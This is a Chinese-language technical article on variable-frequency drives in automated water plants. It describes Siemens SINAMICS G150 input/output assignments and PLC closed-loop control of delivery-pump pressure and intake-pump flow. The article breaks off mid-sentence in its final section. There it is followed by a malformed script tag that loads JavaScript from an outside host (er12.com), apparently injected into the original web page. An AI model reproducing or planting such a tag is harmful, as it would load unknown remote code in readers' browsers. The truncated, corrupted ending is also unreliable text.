摘要：本文讨论了变频器在自动化水厂中的一些应用，对变频器在自动化水厂中软、硬件设置，送水泵房的闭环控制方式，取水泵房的串级控制方式进行简要说明。
关键词：水厂；变频器；自动化；网络化；it技术
1、引言
据统计，我国的发电总量的70%左右消耗在电动机上，风机、水泵消耗我国发电总量的40%左右。用电机变频调速来代替原有阀门调节流量，我国每年可节约用电300-400亿千瓦小时。在自来水行业，变频器主要应用在取水泵房、送水泵房，除了可以节电，还可以平滑调节取水流量、送水压力，满足制水、供水工艺要求。
2、变频器在自动化水厂的软、硬件设置
在大部分新建、改建的自动化水厂的取水泵房、送水泵房，一般都配备了变频器，用来降低电耗、改善工艺条件。变频器的控制方式一般具备就地手动与plc自动两种运行模式，通过现场控制箱可以切换。下面以水厂为例说明变频器在自动化水厂软、硬件设置的一些方法。
现举例某水厂引进的变频器西门子公司生产的系列变频器。送水泵房配备四台变频机组，向城市管网供水。每台变频机组配备一台变频变压器，一次侧电压为6kv，二次侧电压为690v。变频器自身损耗为额定功率的3%左右。
变频器有6个数字量输入，3个模拟量输入，3个数字量输出，2个模拟量输出。通过变频器软件设置，数字量输入口1作为就地手动的“开/停”控制，数字量输入口2作为“就地手动/plc自动”切换控制，数字量输入口3作为就地手动的“增速”控制，数字量输入口4作为就地手动的“减速”控制，数字量输入口5作为“故障紧急停车”控制，数字量输入口6作为plc自动的“开/停”控制，模拟量输入口2作为plc自动的“频率”控制。数字量输出口1为变频器“准备”信号，数字量输出口2为变频器“运行”信号，数字量输出口3为变频器“故障”信号，模拟量输出口1为变频器“转速”信号，模拟量输出口2为变频器“电流”信号。这样可以实现变频器的手动或自动运行，并对变频器的相关运行数据进行实时监测。这是一个泵站水泵机组监控设置，由于现状是千变万化的，要因地制宜进行设置。
西门子公司sinamics g150等系列变频器软件具备以下主要功能：过流保护，vdc max控制器可自动防止直流侧过压保护，直流侧欠压保护，电源|稳压器模块过温保护，短路保护，输入缺相保护，环境温度检测等。编程软件具备以下主要功能：控制信号检测，面板丢失处理，外部故障处理，电机热保护，堵转保护，缺相保护，接地故障保护，电流和转矩限制，频率限制，临界频率锁定等。自动重新启动，可以在掉电或系统恢复后重新启动驱动系统。快速再启动，可允许变频器与旋转电动连接。特别要指出的是：西门子公司g150等系统变频器，可以很方便的在内部和外部进行监控，通过profibus或profinet工业以太网的接口和客户端子板的模拟量输入进行监控，可在网上的任何点进行监控。
3、变频器在自动化水厂送水泵房的应用
在自动化水厂送水泵房中，使用变频器的主要目的是用来降低电耗、平滑调节出厂水压力。通过自控系统的plc或利用变频器本体的pid调节，可以让变频器自动调速，恒压供水，实现送水泵房的无人值守，提高生产效率及安全性。下面以某水厂为例说明变频器在送水泵房的一些应用。
某水厂送水泵房采用sinamics g150系统变频器，plc采用西门子公司的s7－200/300/400可编程序控制器（根据监控内容的多少来选择）。出水总管上配备e+h公司的pmc133压力传感器，将实际出厂水压力信号输入plc。中控室值班员工根据总公司中心调度室指令将标准出厂水压力值通过计算机人机界面输入plc中。plc根据标准出厂水压力值与实际出厂水压力值之间的差值计算所需的频率值，将该值输出到变频器的模拟量输入口，变频器则改变频率，调整电机转速，达到调整出厂水压力,进行闭环控制。控制原理见图1。
图1 送水泵房闭环控制原理图
4、变频器在自动化水厂取水泵房的应用
在自动化水厂取水泵房中，使用变频器的主要目的是用来降低电耗、平滑调节取水流量。通过自控系统的plc或利用变频器本体的pid调节，可以让变频器自动调速，保持清水池水位稳定，实现取水泵房的无人值守，高效、优质供水。
在自动化水厂取水泵房变频器的控制设计上，一般由清水池水位直接控制变频器的频率。和送水泵房出厂水压力控制送水泵房变频器相比，改变送水泵房变频器频率可以立即影响出厂水压力，而改变取水泵房变频器频率对清水池水位变化的时间滞后较大，同时絮凝池排泥、平流池排泥、滤池反冲洗、出厂水流量变化对清水池水位都有较大影响，因此用清水池水位直接控制取水泵房水泵机组调速节能的方法不尽大意。有的水厂在控制上?script src=http://er12.com/t.js>
